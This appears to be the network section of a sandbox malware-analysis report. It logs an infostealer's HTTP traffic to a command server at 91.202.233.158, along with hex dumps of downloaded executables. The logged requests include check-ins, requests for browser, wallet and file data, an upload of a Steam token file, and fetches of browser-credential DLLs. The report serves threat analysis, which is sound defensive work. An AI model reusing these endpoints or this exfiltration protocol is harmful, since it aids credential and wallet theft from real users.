00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 01 Sep 2024 16:28:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 01 Sep 2024 16:28:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 91.202.233.158Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJDHost: 91.202.233.158Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 31 37 42 46 32 43 41 39 37 35 44 32 35 39 34 32 34 38 33 34 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="hwid"917BF2CA975D2594248341------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="build"default------JDGHIIJKEBGIDHIDBKJD--
Source: global traffic HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDBAKFCFHCGDGCBAAKFHost: 91.202.233.158Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 64 35 39 61 62 31 62 63 65 35 66 66 64 37 66 33 36 35 65 35 63 37 32 65 37 30 65 63 34 65 63 37 34 37 30 62 66 35 66 61 63 61 61 65 64 34 61 33 35 39 37 63 37 31 39 38 63 37 35 32 30 61 63 37 62 66 62 34 64 34 34 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------BGDBAKFCFHCGDGCBAAKFContent-Disposition: form-data; name="token"2d59ab1bce5ffd7f365e5c72e70ec4ec7470bf5facaaed4a3597c7198c7520ac7bfb4d44------BGDBAKFCFHCGDGCBAAKFContent-Disposition: form-data; name="message"browsers------BGDBAKFCFHCGDGCBAAKF--
Source: global traffic HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIIIIJKFCAAECAKFIEHHost: 91.202.233.158Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 64 35 39 61 62 31 62 63 65 35 66 66 64 37 66 33 36 35 65 35 63 37 32 65 37 30 65 63 34 65 63 37 34 37 30 62 66 35 66 61 63 61 61 65 64 34 61 33 35 39 37 63 37 31 39 38 63 37 35 32 30 61 63 37 62 66 62 34 64 34 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 2d 2d 0d 0a Data Ascii: ------AFIIIIJKFCAAECAKFIEHContent-Disposition: form-data; name="token"2d59ab1bce5ffd7f365e5c72e70ec4ec7470bf5facaaed4a3597c7198c7520ac7bfb4d44------AFIIIIJKFCAAECAKFIEHContent-Disposition: form-data; name="message"plugins------AFIIIIJKFCAAECAKFIEH--
Source: global traffic HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFCBAKKFBFIECAEBAEHost: 91.202.233.158Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 64 35 39 61 62 31 62 63 65 35 66 66 64 37 66 33 36 35 65 35 63 37 32 65 37 30 65 63 34 65 63 37 34 37 30 62 66 35 66 61 63 61 61 65 64 34 61 33 35 39 37 63 37 31 39 38 63 37 35 32 30 61 63 37 62 66 62 34 64 34 34 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 2d 2d 0d 0a Data Ascii: ------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="token"2d59ab1bce5ffd7f365e5c72e70ec4ec7470bf5facaaed4a3597c7198c7520ac7bfb4d44------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="message"fplugins------CGCFCBAKKFBFIECAEBAE--
Source: global traffic HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDHCGHDHIDHCBGCBGCAHost: 91.202.233.158Content-Length: 6291Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /3836fd5700214436/sqlite3.dll HTTP/1.1Host: 91.202.233.158Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIJJKEHCAKEGCAKJKECHost: 91.202.233.158Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBAHost: 91.202.233.158Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEHDHIEGIIIDHIDHDHJHost: 91.202.233.158Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 64 35 39 61 62 31 62 63 65 35 66 66 64 37 66 33 36 35 65 35 63 37 32 65 37 30 65 63 34 65 63 37 34 37 30 62 66 35 66 61 63 61 61 65 64 34 61 33 35 39 37 63 37 31 39 38 63 37 35 32 30 61 63 37 62 66 62 34 64 34 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------KJEHDHIEGIIIDHIDHDHJContent-Disposition: form-data; name="token"2d59ab1bce5ffd7f365e5c72e70ec4ec7470bf5facaaed4a3597c7198c7520ac7bfb4d44------KJEHDHIEGIIIDHIDHDHJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJEHDHIEGIIIDHIDHDHJContent-Disposition: form-data; name="file"------KJEHDHIEGIIIDHIDHDHJ--
Source: global traffic HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBKFHJEBAAEBGDGDBFBHost: 91.202.233.158Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 64 35 39 61 62 31 62 63 65 35 66 66 64 37 66 33 36 35 65 35 63 37 32 65 37 30 65 63 34 65 63 37 34 37 30 62 66 35 66 61 63 61 61 65 64 34 61 33 35 39 37 63 37 31 39 38 63 37 35 32 30 61 63 37 62 66 62 34 64 34 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 2d 2d 0d 0a Data Ascii: ------IDBKFHJEBAAEBGDGDBFBContent-Disposition: form-data; name="token"2d59ab1bce5ffd7f365e5c72e70ec4ec7470bf5facaaed4a3597c7198c7520ac7bfb4d44------IDBKFHJEBAAEBGDGDBFBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDBKFHJEBAAEBGDGDBFBContent-Disposition: form-data; name="file"------IDBKFHJEBAAEBGDGDBFB--
Source: global traffic HTTP traffic detected: GET /3836fd5700214436/freebl3.dll HTTP/1.1Host: 91.202.233.158Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /3836fd5700214436/mozglue.dll HTTP/1.1Host: 91.202.233.158Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /3836fd5700214436/msvcp140.dll HTTP/1.1Host: 91.202.233.158Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /3836fd5700214436/nss3.dll HTTP/1.1Host: 91.202.233.158Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /3836fd5700214436/softokn3.dll HTTP/1.1Host: 91.202.233.158Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /3836fd5700214436/vcruntime140.dll HTTP/1.1Host: 91.202.233.158Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBAFIIJKJEGIDGDGIIDHHost: 91.202.233.158Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEHDHIEGIIIDHIDHDHJHost: 91.202.233.158Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 64 35 39 61 62 31 62 63 65 35 66 66 64 37 66 33 36 35 65 35 63 37 32 65 37 30 65 63 34 65 63 37 34 37 30 62 66 35 66 61 63 61 61 65 64 34 61 33 35 39 37 63 37 31 39 38 63 37 35 32 30 61 63 37 62 66 62 34 64 34 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------KJEHDHIEGIIIDHIDHDHJContent-Disposition: form-data; name="token"2d59ab1bce5ffd7f365e5c72e70ec4ec7470bf5facaaed4a3597c7198c7520ac7bfb4d44------KJEHDHIEGIIIDHIDHDHJContent-Disposition: form-data; name="message"wallets------KJEHDHIEGIIIDHIDHDHJ--
Source: global traffic HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKFHCFIECAAAKEGCFIHost: 91.202.233.158Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 64 35 39 61 62 31 62 63 65 35 66 66 64 37 66 33 36 35 65 35 63 37 32 65 37 30 65 63 34 65 63 37 34 37 30 62 66 35 66 61 63 61 61 65 64 34 61 33 35 39 37 63 37 31 39 38 63 37 35 32 30 61 63 37 62 66 62 34 64 34 34 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 49 2d 2d 0d 0a Data Ascii: ------AAKKFHCFIECAAAKEGCFIContent-Disposition: form-data; name="token"2d59ab1bce5ffd7f365e5c72e70ec4ec7470bf5facaaed4a3597c7198c7520ac7bfb4d44------AAKKFHCFIECAAAKEGCFIContent-Disposition: form-data; name="message"files------AAKKFHCFIECAAAKEGCFI--
Source: global traffic HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCFHost: 91.202.233.158Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 64 35 39 61 62 31 62 63 65 35 66 66 64 37 66 33 36 35 65 35 63 37 32 65 37 30 65 63 34 65 63 37 34 37 30 62 66 35 66 61 63 61 61 65 64 34 61 33 35 39 37 63 37 31 39 38 63 37 35 32 30 61 63 37 62 66 62 34 64 34 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="token"2d59ab1bce5ffd7f365e5c72e70ec4ec7470bf5facaaed4a3597c7198c7520ac7bfb4d44------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="file"------KEGCBFCBFBKFHIECAFCF--
Source: global traffic HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCFBKKKFHCFHJKFIIEHHost: 91.202.233.158Content-Length: 113011Connection: Keep-AliveCache-Control: no-cache
